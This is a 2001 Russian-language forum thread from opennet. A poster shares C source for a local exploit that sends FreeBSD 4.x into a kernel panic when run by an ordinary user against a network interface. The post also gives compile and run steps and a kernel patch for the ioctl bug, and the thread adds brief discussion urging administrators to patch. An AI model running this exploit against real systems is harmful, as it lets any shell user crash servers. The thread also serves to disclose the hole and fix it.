URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID1
Нить номер: 5825
[ Назад ]

Исходное сообщение
"Перезагрузить FreeBSD? не проблема! :)"

Отправлено Dron , 26-Фев-01 21:45 
Рекомендую всех отнестись к этому серьезно...
И не пробовать запускать на своих серверах... :)
Это проверено не только мной и работает!

Эти исходники представляются As is, и я собственно не несу никакой ответственности за вред который они могут причинить...

Ну а теперь к делу...

У меня FreeBSD 4.0
на 4.1 и 4.2 это тоже работает...
но не все сетевые карты. Точно работает на vr, rl, de. На ed может сработать, но не уверен (до сих пор не разу не сработало :( )

Исходник:
---------------------------
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>

int GetMedia (char *dev)
{
  int s;
  struct ifmediareq ifmr;
  if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
      return errno;
  strcpy (ifmr.ifm_name, dev);
  if (ioctl (s, SIOCGIFMEDIA, (caddr_t)&ifmr) < 0)
     return errno;
  return 0;
}

int main (int argc, char **argv)
{
  if (argc < 2) {
     printf ("usage: crash <devname>\n");
     return -1;
  }
  GetMedia (argv[1]);
  printf ("Try other interface (vr, rl, de, fxp...)!!!\n");
  return 0;
}
------------------

Обыкновенным юзером!

Компилить с динамической линковкой
Короче: gcc -o crash crash.c

Запустить с именем эзернет интерфейса
./crash vr0 например...

Система уходит в кернел паник и в ребут.

Лечить примерно так:

Как будут лечить Фришные разработчики я не знаю, узнаем потом..
Я вылечил так:

Файл ядра: net/if_media.c

--- if_media.c.old    Mon Feb 26 17:49:29 2001
+++ if_media.c    Mon Feb 26 18:26:20 2001
@@ -280,6 +280,11 @@
        ifmr->ifm_status = 0;
        (*ifm->ifm_status)(ifp, ifmr);

+        /* patch for ioctl crash! */
+        if (ifmr->ifm_count > IFM_TMASK ||
+            ifmr->ifm_count < 0)
+           ifmr->ifm_count = 0;
+
        count = 0;
        ep = ifm->ifm_list.lh_first;


Содержание

Сообщения в этом обсуждении
"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено Dron , 26-Фев-01 21:48 
Эх, все табы порезала... :(
Короче желающим придется патчить ядро руками...
благо всего 3 строчки вставить...
функция ifmedia_ioctl, case SIOCGIFMEDIA:...

"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено Натаха , 27-Фев-01 03:29 
Что это Такое???

"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено Dron , 27-Фев-01 14:19 
Эксплойт для FreeBSD.
Уязвимость имени меня. :)

"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено Натаха , 28-Фев-01 04:10 
а БОЛЕЕ ПОПОДРОБНЕЕ МОЖНО???Я просто с такого не видела еще..

"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено MaC , 28-Фев-01 21:43 
Куда уж подробнее, исходник перед тобой ;)

"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено Dron , 01-Мрт-01 15:42 
А что конкретно интересует?
Я с удовольствием расскажу если кому интересно. :)

"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено MaC , 01-Мрт-01 17:03 
А что собсно ето дает? Ну ребутнешь машину и что?
Смысл в чем?

"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено Dron , 01-Мрт-01 19:07 
Мне кажеться что это серьезная уязвимость фри.
Любой юзер может, имея доступ на шелл, отправить любой сервер в ребут! так что господа администраторы, патчик лучше наложите. разработчики обещали внести это в следующие стаблы, но когда это еще будет.
Кстати патчик тоже имени меня, как с этим будут справляться разработчики - не знаю.

"RE: Перезагрузить FreeBSD? не проблема! :)"
Отправлено MaC , 01-Мрт-01 23:02 
А есть такие юзеры? :)) Мне и в голову не придет завалить чью-нить машину к которой шелл есть... Хотя придурки всегда найдутся и Юнихоиды тож